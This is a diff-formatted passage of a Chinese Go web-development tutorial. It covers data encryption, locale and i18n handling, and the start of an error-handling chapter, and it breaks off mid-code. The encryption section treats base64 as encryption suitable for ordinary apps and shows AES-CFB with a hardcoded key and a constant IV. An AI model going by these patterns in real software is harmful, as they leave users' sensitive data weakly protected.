通过上面的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 |
|||
|
|||
## 总结 |
|||
看到这里,如果你产生了危机感,那么就行动起来: |
|||
|
|||
- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码; |
|||
- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [确保输入过滤](<09.4.md>) |
|||
* 下一节: [加密和解密数据](<09.6.md>) |
@ -0,0 +1,127 @@ |
|||
# 9.6 加密和解密数据 |
|||
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。 |
|||
|
|||
## base64加解密 |
|||
如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子: |
|||
|
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"encoding/base64" |
|||
"fmt" |
|||
) |
|||
|
|||
func base64Encode(src []byte) []byte { |
|||
return []byte(base64.StdEncoding.EncodeToString(src)) |
|||
} |
|||
|
|||
func base64Decode(src []byte) ([]byte, error) { |
|||
return base64.StdEncoding.DecodeString(string(src)) |
|||
} |
|||
|
|||
func main() { |
|||
// encode |
|||
hello := "你好,世界! hello world" |
|||
debyte := base64Encode([]byte(hello)) |
|||
fmt.Println(debyte) |
|||
// decode |
|||
enbyte, err := base64Decode(debyte) |
|||
if err != nil { |
|||
fmt.Println(err.Error()) |
|||
} |
|||
|
|||
if hello != string(enbyte) { |
|||
fmt.Println("hello is not equal to enbyte") |
|||
} |
|||
|
|||
fmt.Println(string(enbyte)) |
|||
} |
|||
|
|||
``` |
|||
## 高级加解密 |
|||
|
|||
Go语言的`crypto`里面支持对称加密的高级加解密包有: |
|||
|
|||
- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。 |
|||
- `crypto/des`包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。 |
|||
|
|||
因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子 |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"crypto/aes" |
|||
"crypto/cipher" |
|||
"fmt" |
|||
"os" |
|||
) |
|||
|
|||
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} |
|||
|
|||
func main() { |
|||
//需要去加密的字符串 |
|||
plaintext := []byte("My name is Astaxie") |
|||
//如果传入加密串的话,plaint就是传入的字符串 |
|||
if len(os.Args) > 1 { |
|||
plaintext = []byte(os.Args[1]) |
|||
} |
|||
|
|||
//aes的加密字符串 |
|||
key_text := "astaxie12798akljzmknm.ahkjkljl;k" |
|||
if len(os.Args) > 2 { |
|||
key_text = os.Args[2] |
|||
} |
|||
|
|||
fmt.Println(len(key_text)) |
|||
|
|||
// 创建加密算法aes |
|||
c, err := aes.NewCipher([]byte(key_text)) |
|||
if err != nil { |
|||
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) |
|||
os.Exit(-1) |
|||
} |
|||
|
|||
//加密字符串 |
|||
cfb := cipher.NewCFBEncrypter(c, commonIV) |
|||
ciphertext := make([]byte, len(plaintext)) |
|||
cfb.XORKeyStream(ciphertext, plaintext) |
|||
fmt.Printf("%s=>%x\n", plaintext, ciphertext) |
|||
|
|||
// 解密字符串 |
|||
cfbdec := cipher.NewCFBDecrypter(c, commonIV) |
|||
plaintextCopy := make([]byte, len(plaintext)) |
|||
cfbdec.XORKeyStream(plaintextCopy, ciphertext) |
|||
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) |
|||
} |
|||
|
|||
``` |
|||
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能: |
|||
|
|||
```Go |
|||
|
|||
type Block interface { |
|||
// BlockSize returns the cipher's block size. |
|||
BlockSize() int |
|||
|
|||
// Encrypt encrypts the first block in src into dst. |
|||
// Dst and src may point at the same memory. |
|||
Encrypt(dst, src []byte) |
|||
|
|||
// Decrypt decrypts the first block in src into dst. |
|||
// Dst and src may point at the same memory. |
|||
Decrypt(dst, src []byte) |
|||
} |
|||
``` |
|||
这三个函数实现了加解密操作,详细的操作请看上面的例子。 |
|||
|
|||
## 总结 |
|||
这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。 |
|||
|
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [存储密码](<09.5.md>) |
|||
* 下一节: [小结](<09.7.md>) |
@ -0,0 +1,89 @@ |
|||
# 10.1 设置默认地区 |
|||
## 什么是Locale |
|||
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。 |
|||
|
|||
GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。 |
|||
|
|||
|
|||
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。 |
|||
|
|||
## 设置Locale |
|||
有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。 |
|||
|
|||
### 通过域名设置Locale |
|||
设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用 www.asta.com 当做我们的英文站(默认站),而把域名 www.asta.cn 当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: |
|||
|
|||
- 通过URL就可以很明显的识别 |
|||
- 用户可以通过域名很直观的知道将访问那种语言的站点 |
|||
- 在Go程序中实现非常的简单方便,通过一个map就可以实现 |
|||
- 有利于搜索引擎抓取,能够提高站点的SEO |
|||
|
|||
我们可以通过下面的代码来实现域名的对应locale: |
|||
```Go |
|||
|
|||
if r.Host == "www.asta.com" { |
|||
i18n.SetLocale("en") |
|||
} else if r.Host == "www.asta.cn" { |
|||
i18n.SetLocale("zh-CN") |
|||
} else if r.Host == "www.asta.tw" { |
|||
i18n.SetLocale("zh-TW") |
|||
} |
|||
``` |
|||
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示: |
|||
```Go |
|||
|
|||
prefix := strings.Split(r.Host,".") |
|||
|
|||
if prefix[0] == "en" { |
|||
i18n.SetLocale("en") |
|||
} else if prefix[0] == "cn" { |
|||
i18n.SetLocale("zh-CN") |
|||
} else if prefix[0] == "tw" { |
|||
i18n.SetLocale("zh-TW") |
|||
} |
|||
``` |
|||
通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。 |
|||
|
|||
### 从域名参数设置Locale |
|||
目前最常用的设置Locale的方式是在URL里面带上参数,例如 www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello 。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 |
|||
|
|||
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。 |
|||
|
|||
也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books (英文站点)和 www.asta.com/zh/books (中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): |
|||
```Go |
|||
|
|||
mux.Get("/:locale/books", listbook) |
|||
``` |
|||
### 从客户端设置地区 |
|||
在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。 |
|||
|
|||
- Accept-Language |
|||
|
|||
客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码: |
|||
```Go |
|||
|
|||
AL := r.Header.Get("Accept-Language") |
|||
if AL == "en" { |
|||
i18n.SetLocale("en") |
|||
} else if AL == "zh-CN" { |
|||
i18n.SetLocale("zh-CN") |
|||
} else if AL == "zh-TW" { |
|||
i18n.SetLocale("zh-TW") |
|||
} |
|||
``` |
|||
当然在实际应用中,可能需要更加严格的判断来进行设置地区 |
|||
- IP地址 |
|||
|
|||
另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。 |
|||
|
|||
- 用户profile |
|||
|
|||
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。 |
|||
|
|||
## 总结 |
|||
通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [国际化和本地化](<10.0.md>) |
|||
* 下一节: [本地化资源](<10.2.md>) |
@ -0,0 +1,148 @@ |
|||
<!-- {% raw %} --> |
|||
# 10.2 本地化资源 |
|||
前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们将对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json) |
|||
## 本地化文本消息 |
|||
文本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例: |
|||
|
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import "fmt" |
|||
|
|||
var locales map[string]map[string]string |
|||
|
|||
func main() { |
|||
locales = make(map[string]map[string]string, 2) |
|||
en := make(map[string]string, 10) |
|||
en["pea"] = "pea" |
|||
en["bean"] = "bean" |
|||
locales["en"] = en |
|||
cn := make(map[string]string, 10) |
|||
cn["pea"] = "豌豆" |
|||
cn["bean"] = "毛豆" |
|||
locales["zh-CN"] = cn |
|||
lang := "zh-CN" |
|||
fmt.Println(msg(lang, "pea")) |
|||
fmt.Println(msg(lang, "bean")) |
|||
} |
|||
|
|||
func msg(locale, key string) string { |
|||
if v, ok := locales[locale]; ok { |
|||
if v2, ok := v[key]; ok { |
|||
return v2 |
|||
} |
|||
} |
|||
return "" |
|||
} |
|||
|
|||
``` |
|||
上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。 |
|||
|
|||
有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码: |
|||
```Go |
|||
|
|||
en["how old"] ="I am %d years old" |
|||
cn["how old"] ="我今年%d岁了" |
|||
|
|||
fmt.Printf(msg(lang, "how old"), 30) |
|||
``` |
|||
上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。 |
|||
|
|||
## 本地化日期和时间 |
|||
因为时区的关系,同一时刻,在不同的地区,表示是不一样的,而且因为Locale的关系,时间格式也不尽相同,例如中文环境下可能显示:`2012年10月24日 星期三 23时11分13秒 CST`,而在英文环境下可能显示:`Wed Oct 24 23:11:13 CST 2012`。这里面我们需要解决两点: |
|||
|
|||
1. 时区问题 |
|||
2. 格式问题 |
|||
|
|||
$GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为了获得对应于当前locale的时间,我们应首先使用`time.LoadLocation(name string)`获取相应于地区的locale,比如`Asia/Shanghai`或`America/Chicago`对应的时区信息,然后再利用此信息与调用`time.Now`获得的Time对象协作来获得最终的时间。详细的请看下面的例子(该例子采用上面例子的一些变量): |
|||
|
|||
```Go |
|||
|
|||
en["time_zone"]="America/Chicago" |
|||
cn["time_zone"]="Asia/Shanghai" |
|||
|
|||
loc,_:=time.LoadLocation(msg(lang,"time_zone")) |
|||
t:=time.Now() |
|||
t = t.In(loc) |
|||
fmt.Println(t.Format(time.RFC3339)) |
|||
|
|||
``` |
|||
我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下: |
|||
```Go |
|||
|
|||
en["date_format"]="%Y-%m-%d %H:%M:%S" |
|||
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" |
|||
|
|||
fmt.Println(date(msg(lang,"date_format"),t)) |
|||
|
|||
func date(fomate string,t time.Time) string{ |
|||
year, month, day = t.Date() |
|||
hour, min, sec = t.Clock() |
|||
//解析相应的%Y %m %d %H %M %S然后返回信息 |
|||
//%Y 替换成2012 |
|||
//%m 替换成10 |
|||
//%d 替换成24 |
|||
} |
|||
|
|||
``` |
|||
## 本地化货币值 |
|||
各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码: |
|||
```Go |
|||
|
|||
en["money"] ="USD %d" |
|||
cn["money"] ="¥%d元" |
|||
|
|||
fmt.Println(money_format(msg(lang,"money"),100)) |
|||
|
|||
func money_format(fomate string,money int64) string{ |
|||
return fmt.Sprintf(fomate,money) |
|||
} |
|||
|
|||
``` |
|||
## 本地化视图和资源 |
|||
我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排: |
|||
```html |
|||
|
|||
views |
|||
|--en //英文模板 |
|||
|--images //存储图片信息 |
|||
|--js //存储JS文件 |
|||
|--css //存储css文件 |
|||
index.tpl //用户首页 |
|||
login.tpl //登陆首页 |
|||
|--zh-CN //中文模板 |
|||
|--images |
|||
|--js |
|||
|--css |
|||
index.tpl |
|||
login.tpl |
|||
|
|||
``` |
|||
有了这个目录结构后我们就可以在渲染的地方这样来实现代码: |
|||
```Go |
|||
|
|||
s1, _ := template.ParseFiles("views/"+lang+"/index.tpl") |
|||
VV.Lang=lang |
|||
s1.Execute(os.Stdout, VV) |
|||
``` |
|||
而对于里面的index.tpl里面的资源设置如下: |
|||
```html |
|||
|
|||
// js文件 |
|||
<script type="text/javascript" src="views/{{.Lang}}/js/jquery/jquery-1.8.0.min.js"></script> |
|||
// css文件 |
|||
<link href="views/{{.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet"> |
|||
// 图片文件 |
|||
<img src="views/{{.Lang}}/images/btn.png"> |
|||
``` |
|||
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。 |
|||
|
|||
## 总结 |
|||
本小节介绍了如何使用及存储本地资源,有时需要通过转换函数来实现,有时通过lang来设置,但是最终都是通过key-value的方式来存储Locale对应的数据,在需要时取出相应于Locale的信息后,如果是文本信息就直接输出,如果是时间日期或者货币,则需要先通过`fmt.Printf`或其他格式化函数来处理,而对于不同Locale的视图和资源则是最简单的,只要在路径里面增加lang就可以实现了。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [设置默认地区](<10.1.md>) |
|||
* 下一节: [国际化站点](<10.3.md>) |
|||
<!-- {% endraw %} --> |
@ -0,0 +1,199 @@ |
|||
<!-- {% raw %} --> |
|||
# 10.3 国际化站点 |
|||
前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。 |
|||
## 管理多个本地包 |
|||
在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示: |
|||
```json |
|||
|
|||
# zh.json |
|||
|
|||
{ |
|||
"zh": { |
|||
"submit": "提交", |
|||
"create": "创建" |
|||
} |
|||
} |
|||
|
|||
# en.json |
|||
|
|||
{ |
|||
"en": { |
|||
"submit": "Submit", |
|||
"create": "Create" |
|||
} |
|||
} |
|||
|
|||
``` |
|||
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件 |
|||
```Go |
|||
|
|||
Tr:=i18n.NewLocale() |
|||
Tr.LoadPath("config/locales") |
|||
|
|||
``` |
|||
这个包使用起来很简单,你可以通过下面的方式进行测试: |
|||
```Go |
|||
|
|||
fmt.Println(Tr.Translate("submit")) |
|||
//输出Submit |
|||
Tr.SetLocale("zh") |
|||
fmt.Println(Tr.Translate("submit")) |
|||
//输出“提交” |
|||
``` |
|||
## 自动加载本地包 |
|||
上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程: |
|||
```Go |
|||
|
|||
//加载默认配置文件,这些文件都放在go-i18n/locales下面 |
|||
|
|||
//文件命名zh.json、en.json、en-US.json等,可以不断的扩展支持更多的语言 |
|||
|
|||
func (il *IL) loadDefaultTranslations(dirPath string) error { |
|||
dir, err := os.Open(dirPath) |
|||
if err != nil { |
|||
return err |
|||
} |
|||
defer dir.Close() |
|||
|
|||
names, err := dir.Readdirnames(-1) |
|||
if err != nil { |
|||
return err |
|||
} |
|||
|
|||
for _, name := range names { |
|||
fullPath := path.Join(dirPath, name) |
|||
|
|||
fi, err := os.Stat(fullPath) |
|||
if err != nil { |
|||
return err |
|||
} |
|||
|
|||
if fi.IsDir() { |
|||
if err := il.loadTranslations(fullPath); err != nil { |
|||
return err |
|||
} |
|||
} else if locale := il.matchingLocaleFromFileName(name); locale != "" { |
|||
file, err := os.Open(fullPath) |
|||
if err != nil { |
|||
return err |
|||
} |
|||
defer file.Close() |
|||
|
|||
if err := il.loadTranslation(file, locale); err != nil { |
|||
return err |
|||
} |
|||
} |
|||
} |
|||
|
|||
return nil |
|||
} |
|||
|
|||
``` |
|||
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息: |
|||
```Go |
|||
|
|||
//locale=zh的情况下,执行如下代码: |
|||
|
|||
fmt.Println(Tr.Time(time.Now())) |
|||
//输出:2009年1月08日 星期四 20:37:58 CST |
|||
|
|||
fmt.Println(Tr.Time(time.Now(),"long")) |
|||
//输出:2009年1月08日 |
|||
|
|||
fmt.Println(Tr.Money(11.11)) |
|||
//输出:¥11.11 |
|||
``` |
|||
## template mapfunc |
|||
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc: |
|||
|
|||
1. 文本信息 |
|||
|
|||
文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下: |
|||
```Go |
|||
|
|||
func I18nT(args ...interface{}) string { |
|||
ok := false |
|||
var s string |
|||
if len(args) == 1 { |
|||
s, ok = args[0].(string) |
|||
} |
|||
if !ok { |
|||
s = fmt.Sprint(args...) |
|||
} |
|||
return Tr.Translate(s) |
|||
} |
|||
|
|||
``` |
|||
注册函数如下: |
|||
```Go |
|||
|
|||
t.Funcs(template.FuncMap{"T": I18nT}) |
|||
``` |
|||
模板中使用如下: |
|||
```Go |
|||
|
|||
{{.V.Submit | T}} |
|||
``` |
|||
|
|||
2. 时间日期 |
|||
|
|||
时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下: |
|||
```Go |
|||
|
|||
func I18nTimeDate(args ...interface{}) string { |
|||
ok := false |
|||
var s string |
|||
if len(args) == 1 { |
|||
s, ok = args[0].(string) |
|||
} |
|||
if !ok { |
|||
s = fmt.Sprint(args...) |
|||
} |
|||
return Tr.Time(s) |
|||
} |
|||
``` |
|||
注册函数如下: |
|||
```Go |
|||
|
|||
t.Funcs(template.FuncMap{"TD": I18nTimeDate}) |
|||
``` |
|||
模板中使用如下: |
|||
```Go |
|||
|
|||
{{.V.Now | TD}} |
|||
``` |
|||
3. 货币信息 |
|||
|
|||
货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下: |
|||
```Go |
|||
|
|||
func I18nMoney(args ...interface{}) string { |
|||
ok := false |
|||
var s string |
|||
if len(args) == 1 { |
|||
s, ok = args[0].(string) |
|||
} |
|||
if !ok { |
|||
s = fmt.Sprint(args...) |
|||
} |
|||
return Tr.Money(s) |
|||
} |
|||
``` |
|||
注册函数如下: |
|||
```Go |
|||
|
|||
t.Funcs(template.FuncMap{"M": I18nMoney}) |
|||
``` |
|||
模板中使用如下: |
|||
```Go |
|||
|
|||
{{.V.Money | M}} |
|||
``` |
|||
## 总结 |
|||
通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [本地化资源](<10.2.md>) |
|||
* 下一节: [小结](<10.4.md>) |
|||
<!-- {% endraw %} --> |
@ -0,0 +1,6 @@ |
|||
# 10.4 小结 |
|||
通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。 |
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [国际化站点](<10.3.md>) |
|||
* 下一节: [错误处理,故障排除和测试](<11.0.md>) |
@ -0,0 +1,19 @@ |
|||
# 11 错误处理,调试和测试 |
|||
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。 |
|||
|
|||
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。 |
|||
|
|||
开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。 |
|||
|
|||
11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。 |
|||
|
|||
长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。 |
|||
|
|||
## 目录 |
|||
|
|||
![](images/navi11.png?raw=true) |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [第十章总结](<10.4.md>) |
|||
* 下一节: [错误处理](<11.1.md>) |
@ -0,0 +1,220 @@ |
|||
# 11.1 错误处理 |
|||
Go语言主要的设计准则是:简洁、明白,简洁是指语法和C类似,相当的简单,明白是指任何语句都是很明显的,不含有任何隐含的东西,在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误,但是对于使用者来说,不查看相应的API说明文档,根本搞不清楚这个返回值究竟代表什么意思,比如:返回0是成功,还是失败,而Go定义了一个叫做error的类型,来显式表达错误。在使用时,通过把返回的error变量与nil的比较,来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量 |
|||
```Go |
|||
|
|||
func Open(name string) (file *File, err error) |
|||
``` |
|||
下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息: |
|||
```Go |
|||
|
|||
f, err := os.Open("filename.ext") |
|||
if err != nil { |
|||
log.Fatal(err) |
|||
} |
|||
``` |
|||
类似于`os.Open`函数,标准包中所有可能出错的API都会返回一个error变量,以方便错误处理,这个小节将详细地介绍error类型的设计,和讨论开发Web应用中如何更好地处理error。 |
|||
## Error类型 |
|||
error类型是一个接口类型,这是它的定义: |
|||
```Go |
|||
|
|||
type error interface { |
|||
Error() string |
|||
} |
|||
``` |
|||
error是一个内置的接口类型,我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString |
|||
```Go |
|||
|
|||
// errorString is a trivial implementation of error. |
|||
type errorString struct { |
|||
s string |
|||
} |
|||
|
|||
func (e *errorString) Error() string { |
|||
return e.s |
|||
} |
|||
``` |
|||
你可以通过`errors.New`把一个字符串转化为errorString,以得到一个满足接口error的对象,其内部实现如下: |
|||
```Go |
|||
|
|||
// New returns an error that formats as the given text. |
|||
func New(text string) error { |
|||
return &errorString{text} |
|||
} |
|||
``` |
|||
下面这个例子演示了如何使用`errors.New`: |
|||
```Go |
|||
|
|||
func Sqrt(f float64) (float64, error) { |
|||
if f < 0 { |
|||
return 0, errors.New("math: square root of negative number") |
|||
} |
|||
// implementation |
|||
} |
|||
``` |
|||
在下面的例子中,我们在调用Sqrt的时候传递的一个负数,然后就得到了non-nil的error对象,将此对象与nil比较,结果为true,所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码: |
|||
```Go |
|||
|
|||
f, err := Sqrt(-1) |
|||
if err != nil { |
|||
fmt.Println(err) |
|||
} |
|||
``` |
|||
## 自定义Error |
|||
通过上面的介绍我们知道error是一个interface,所以在实现自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义,请看来自Json包的示例: |
|||
```Go |
|||
|
|||
type SyntaxError struct { |
|||
msg string // 错误描述 |
|||
Offset int64 // 错误发生的位置 |
|||
} |
|||
|
|||
func (e *SyntaxError) Error() string { return e.msg } |
|||
``` |
|||
Offset字段在调用Error的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息,请看下面的例子: |
|||
```Go |
|||
|
|||
if err := dec.Decode(&val); err != nil { |
|||
if serr, ok := err.(*json.SyntaxError); ok { |
|||
line, col := findLine(f, serr.Offset) |
|||
return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) |
|||
} |
|||
return err |
|||
} |
|||
``` |
|||
需要注意的是,函数返回自定义错误时,返回值推荐设置为error类型,而非自定义错误类型,特别需要注意的是不应预声明自定义错误类型的变量。例如: |
|||
```Go |
|||
|
|||
func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 |
|||
var err *SyntaxError // 预声明错误变量 |
|||
if 出错条件 { |
|||
err = &SyntaxError{} |
|||
} |
|||
return err // 错误,err永远等于非nil,导致上层调用者err!=nil的判断始终为true |
|||
} |
|||
``` |
|||
原因见 http://golang.org/doc/faq#nil_error |
|||
|
|||
上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢?此时,我们来参考一下net包采用的方法: |
|||
```Go |
|||
|
|||
package net |
|||
|
|||
type Error interface { |
|||
error |
|||
Timeout() bool // Is the error a timeout? |
|||
Temporary() bool // Is the error temporary? |
|||
} |
|||
|
|||
